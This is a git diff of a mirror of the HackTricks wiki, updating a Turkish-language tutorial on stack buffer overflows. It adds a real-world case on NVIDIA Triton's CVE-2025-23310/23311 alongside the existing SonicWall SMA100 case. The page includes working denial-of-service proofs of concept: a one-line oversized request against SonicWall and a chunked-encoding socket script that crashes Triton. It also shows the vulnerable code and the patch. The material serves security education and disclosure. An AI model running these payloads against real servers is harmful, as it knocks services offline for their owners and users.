mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/README.md'] to tr
This commit is contained in:
parent
ef8238fb37
commit
2c7e61f39c
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## What is a Stack Overflow
|
## What is a Stack Overflow
|
||||||
|
|
||||||
Bir **stack overflow**, bir programın yığın (stack) için ayrılan alandan daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **komşu bellek alanını üzerine yazarak**, geçerli verilerin bozulmasına, kontrol akışının kesintiye uğramasına ve potansiyel olarak kötü niyetli kodun çalıştırılmasına yol açar. Bu sorun genellikle, girdi üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır.
|
Bir **stack overflow**, bir programın yığın (stack) için ayrılan alandan daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **komşu bellek alanını üzerine yazarak**, geçerli verilerin bozulmasına, kontrol akışının kesilmesine ve potansiyel olarak kötü niyetli kodun çalıştırılmasına yol açar. Bu sorun genellikle, girdi üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır.
|
||||||
|
|
||||||
Bu üzerine yazmanın ana sorunu, **kaydedilmiş talimat işaretçisi (EIP/RIP)** ve önceki fonksiyona dönmek için **kaydedilmiş temel işaretçi (EBP/RBP)** değerlerinin **yığın üzerinde saklanmasıdır**. Bu nedenle, bir saldırgan bu değerleri üzerine yazarak **programın yürütme akışını kontrol edebilir**.
|
Bu üzerine yazmanın ana sorunu, **kaydedilmiş talimat işaretçisi (EIP/RIP)** ve önceki fonksiyona dönmek için **kaydedilmiş temel işaretçi (EBP/RBP)** değerlerinin **yığın üzerinde saklanmasıdır**. Bu nedenle, bir saldırgan bu değerleri üzerine yazarak **programın yürütme akışını kontrol edebilir**.
|
||||||
|
|
||||||
@ -23,9 +23,9 @@ printf("You entered: %s\n", buffer);
|
|||||||
```
|
```
|
||||||
### Stack Overflow ofsetlerini Bulma
|
### Stack Overflow ofsetlerini Bulma
|
||||||
|
|
||||||
Stack overflow'ları bulmanın en yaygın yolu, çok büyük bir `A` girişi vermektir (örneğin, `python3 -c 'print("A"*1000)'`) ve **`0x41414141` adresinin erişilmeye çalışıldığını** belirten bir `Segmentation Fault` beklemektir.
|
Stack overflow'ları bulmanın en yaygın yolu, çok büyük bir `A` girişi vermektir (örneğin, `python3 -c 'print("A"*1000)'`) ve **`0x41414141` adresine erişilmeye çalışıldığını** belirten bir `Segmentation Fault` beklemektir.
|
||||||
|
|
||||||
Ayrıca, Stack Overflow zafiyetini bulduktan sonra, **geri dönüş adresini** geçersiz kılmak için gereken ofseti bulmanız gerekecek; bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir _n_ uzunluğundaki alt dizinin tam olarak bir kez göründüğü** döngüsel bir dizidir.
|
Ayrıca, bir Stack Overflow zafiyeti bulduğunuzda, **geri dönüş adresini** geçersiz kılmak için gereken ofseti bulmanız gerekecektir. Bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir _n_ uzunluğundaki alt dizinin tam olarak bir kez göründüğü döngüsel bir dizidir.**
|
||||||
|
|
||||||
Bu şekilde, EIP'yi kontrol etmek için hangi ofsetin gerektiğini elle bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından onu geçersiz kılan baytların ofsetini bulmak mümkündür.
|
Bu şekilde, EIP'yi kontrol etmek için hangi ofsetin gerektiğini elle bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından onu geçersiz kılan baytların ofsetini bulmak mümkündür.
|
||||||
|
|
||||||
@ -50,7 +50,7 @@ pattern search $rsp #Search the offset given the content of $rsp
|
|||||||
```
|
```
|
||||||
## Stack Overflow'ları Sömürmek
|
## Stack Overflow'ları Sömürmek
|
||||||
|
|
||||||
Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) **stack** içindeki yerel değişkenlerin değerlerini **üzerine yazma** işlemi yapabileceksiniz, bu da **kaydedilmiş EBP/RBP ve EIP/RIP'ye (veya daha fazlasına)** ulaşana kadar devam eder.\
|
Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) **stack** içindeki yerel değişkenlerin değerlerini **üzerine yazmak** mümkün olacaktır, bu da kaydedilmiş **EBP/RBP ve EIP/RIP'ye (veya daha fazlasına)** ulaşana kadar devam eder.\
|
||||||
Bu tür bir güvenlik açığını istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece fonksiyon sona erdiğinde **kontrol akışı kullanıcının bu işaretçide belirttiği yere yönlendirilecektir**.
|
Bu tür bir güvenlik açığını istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece fonksiyon sona erdiğinde **kontrol akışı kullanıcının bu işaretçide belirttiği yere yönlendirilecektir**.
|
||||||
|
|
||||||
Ancak, diğer senaryolarda sadece **stack'teki bazı değişken değerlerini üzerine yazmak** istismar için yeterli olabilir (örneğin, kolay CTF zorluklarında).
|
Ancak, diğer senaryolarda sadece **stack'teki bazı değişken değerlerini üzerine yazmak** istismar için yeterli olabilir (örneğin, kolay CTF zorluklarında).
|
||||||
@ -65,7 +65,7 @@ ret2win/
|
|||||||
|
|
||||||
### Stack Shellcode
|
### Stack Shellcode
|
||||||
|
|
||||||
Bu senaryoda, saldırgan stack'te bir shellcode yerleştirebilir ve kontrol edilen EIP/RIP'i kullanarak shellcode'a atlayıp rastgele kod çalıştırabilir:
|
Bu senaryoda, saldırgan bir shellcode'u stack'e yerleştirebilir ve kontrol edilen EIP/RIP'i kullanarak shellcode'a atlayıp rastgele kod çalıştırabilir:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
stack-shellcode/
|
stack-shellcode/
|
||||||
@ -97,7 +97,7 @@ Güvenlik açıklarının istismarını önlemeye çalışan çeşitli korumalar
|
|||||||
|
|
||||||
### Gerçek Dünya Örneği: CVE-2025-40596 (SonicWall SMA100)
|
### Gerçek Dünya Örneği: CVE-2025-40596 (SonicWall SMA100)
|
||||||
|
|
||||||
**`sscanf`'in güvenilmeyecek girdi ayrıştırma işlemleri için asla güvenilmemesi** gerektiğinin iyi bir gösterimi, 2025 yılında SonicWall’ın SMA100 SSL-VPN cihazında ortaya çıktı. `/usr/src/EasyAccess/bin/httpd` içindeki savunmasız rutin, `/__api__/` ile başlayan herhangi bir URI'den sürüm ve uç noktayı çıkarmaya çalışmaktadır:
|
**`sscanf`'in güvenilmeyecek girdi ayrıştırması için asla güvenilmemesi gerektiğinin** iyi bir gösterimi, 2025 yılında SonicWall’ın SMA100 SSL-VPN cihazında ortaya çıktı. `/usr/src/EasyAccess/bin/httpd` içindeki savunmasız rutin, `/__api__/` ile başlayan herhangi bir URI'den sürüm ve uç noktayı çıkarmaya çalışmaktadır:
|
||||||
```c
|
```c
|
||||||
char version[3];
|
char version[3];
|
||||||
char endpoint[0x800] = {0};
|
char endpoint[0x800] = {0};
|
||||||
@ -106,7 +106,7 @@ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
|||||||
```
|
```
|
||||||
1. İlk dönüşüm (`%2s`) **iki** baytı `version` içine güvenli bir şekilde depolar (örneğin, `"v1"`).
|
1. İlk dönüşüm (`%2s`) **iki** baytı `version` içine güvenli bir şekilde depolar (örneğin, `"v1"`).
|
||||||
2. İkinci dönüşüm (`%s`) **uzunluk belirleyiciye sahip değildir**, bu nedenle `sscanf` **ilk NUL baytına kadar** kopyalamaya devam eder.
|
2. İkinci dönüşüm (`%s`) **uzunluk belirleyiciye sahip değildir**, bu nedenle `sscanf` **ilk NUL baytına kadar** kopyalamaya devam eder.
|
||||||
3. `endpoint` **stack** üzerinde yer almakta ve **0x800 bayt uzunluğunda** olduğundan, 0x800 bayttan daha uzun bir yol sağlamak, tamponun ardından gelen her şeyi bozar ‑ **stack canary** ve **kayıtlı dönüş adresi** dahil.
|
3. Çünkü `endpoint` **stack** üzerinde yer almakta ve **0x800 bayt uzunluğunda** olduğundan, 0x800 bayttan daha uzun bir yol sağlamak, tamponun ardından gelen her şeyi bozar ‑ **stack canary** ve **kayıtlı dönüş adresi** dahil.
|
||||||
|
|
||||||
Kimlik doğrulama **öncesinde** çöküşü tetiklemek için tek satırlık bir kanıt konsepti yeterlidir:
|
Kimlik doğrulama **öncesinde** çöküşü tetiklemek için tek satırlık bir kanıt konsepti yeterlidir:
|
||||||
```python
|
```python
|
||||||
@ -115,12 +115,71 @@ warnings.filterwarnings('ignore')
|
|||||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||||
requests.get(url, verify=False)
|
requests.get(url, verify=False)
|
||||||
```
|
```
|
||||||
Stack canaries süreci durdurmasına rağmen, bir saldırgan hala bir **Denial-of-Service** primitive kazanır (ve, ek bilgi sızıntıları ile, muhtemelen kod yürütme). Ders basit:
|
Stack canaries süreci durdurmasına rağmen, bir saldırgan hala bir **Hizmet Reddi** primitive elde eder (ve, ek bilgi sızıntıları ile, muhtemelen kod yürütme). Ders basit:
|
||||||
|
|
||||||
* Her zaman bir **maksimum alan genişliği** sağlayın (örneğin, `%511s`).
|
* Her zaman bir **maksimum alan genişliği** sağlayın (örneğin, `%511s`).
|
||||||
* `snprintf`/`strncpy_s` gibi daha güvenli alternatifleri tercih edin.
|
* `snprintf`/`strncpy_s` gibi daha güvenli alternatifleri tercih edin.
|
||||||
|
|
||||||
## References
|
### Gerçek Dünya Örneği: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||||
|
|
||||||
|
NVIDIA’nın Triton Inference Server'ı (≤ v25.06) HTTP API'si aracılığıyla erişilebilen birden fazla **yığın tabanlı taşma** içeriyordu. Zayıf desen `http_server.cc` ve `sagemaker_server.cc` dosyalarında tekrar tekrar ortaya çıktı:
|
||||||
|
```c
|
||||||
|
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||||||
|
if (n > 0) {
|
||||||
|
/* allocates 16 * n bytes on the stack */
|
||||||
|
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
|
||||||
|
alloca(sizeof(struct evbuffer_iovec) * n);
|
||||||
|
...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
1. `evbuffer_peek` (libevent) mevcut HTTP istek gövdesini oluşturan **içerik tampon segmentlerinin sayısını** döndürür.
|
||||||
|
2. Her segment, `alloca()` aracılığıyla **stack** üzerinde **üst sınır olmaksızın** bir **16-byte** `evbuffer_iovec` tahsis edilmesine neden olur.
|
||||||
|
3. **HTTP _chunked transfer-encoding_** istismar edilerek, bir istemci isteğin **yüz binlerce 6-byte parçalara** (`"1\r\nA\r\n"`) bölünmesini zorlayabilir. Bu, `n`'nin stack tükenene kadar sınırsız büyümesine neden olur.
|
||||||
|
|
||||||
|
#### Kanıt-Konsept (DoS)
|
||||||
|
```python
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
import socket, sys
|
||||||
|
|
||||||
|
def exploit(host="localhost", port=8000, chunks=523_800):
|
||||||
|
s = socket.create_connection((host, port))
|
||||||
|
s.sendall((
|
||||||
|
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
|
||||||
|
f"Host: {host}:{port}\r\n"
|
||||||
|
"Content-Type: application/octet-stream\r\n"
|
||||||
|
"Inference-Header-Content-Length: 0\r\n"
|
||||||
|
"Transfer-Encoding: chunked\r\n"
|
||||||
|
"Connection: close\r\n\r\n"
|
||||||
|
).encode())
|
||||||
|
|
||||||
|
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
|
||||||
|
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
|
||||||
|
s.sendall(b"0\r\n\r\n") # end of chunks
|
||||||
|
s.close()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
exploit(*sys.argv[1:])
|
||||||
|
```
|
||||||
|
A ~3 MB isteği, kaydedilmiş dönüş adresini geçersiz kılmak ve varsayılan yapılandırmadaki daemon'u **çökmek** için yeterlidir.
|
||||||
|
|
||||||
|
#### Yamanlama & Hafifletme
|
||||||
|
25.07 sürümü, güvensiz yığın tahsisini **heap destekli `std::vector`** ile değiştirir ve `std::bad_alloc`'u zarif bir şekilde işler:
|
||||||
|
```c++
|
||||||
|
std::vector<evbuffer_iovec> v_vec;
|
||||||
|
try {
|
||||||
|
v_vec = std::vector<evbuffer_iovec>(n);
|
||||||
|
} catch (const std::bad_alloc &e) {
|
||||||
|
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
|
||||||
|
}
|
||||||
|
struct evbuffer_iovec *v = v_vec.data();
|
||||||
|
```
|
||||||
|
Öğrenilen dersler:
|
||||||
|
* Asla `alloca()`'yı saldırgan kontrolündeki boyutlarla çağırmayın.
|
||||||
|
* Parçalı istekler, sunucu tarafı tamponlarının şeklini önemli ölçüde değiştirebilir.
|
||||||
|
* Müşteri girdisinden türetilen herhangi bir değeri *kullanımdan önce* doğrulayın / sınırlayın.
|
||||||
|
|
||||||
|
## Referanslar
|
||||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||||
|
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user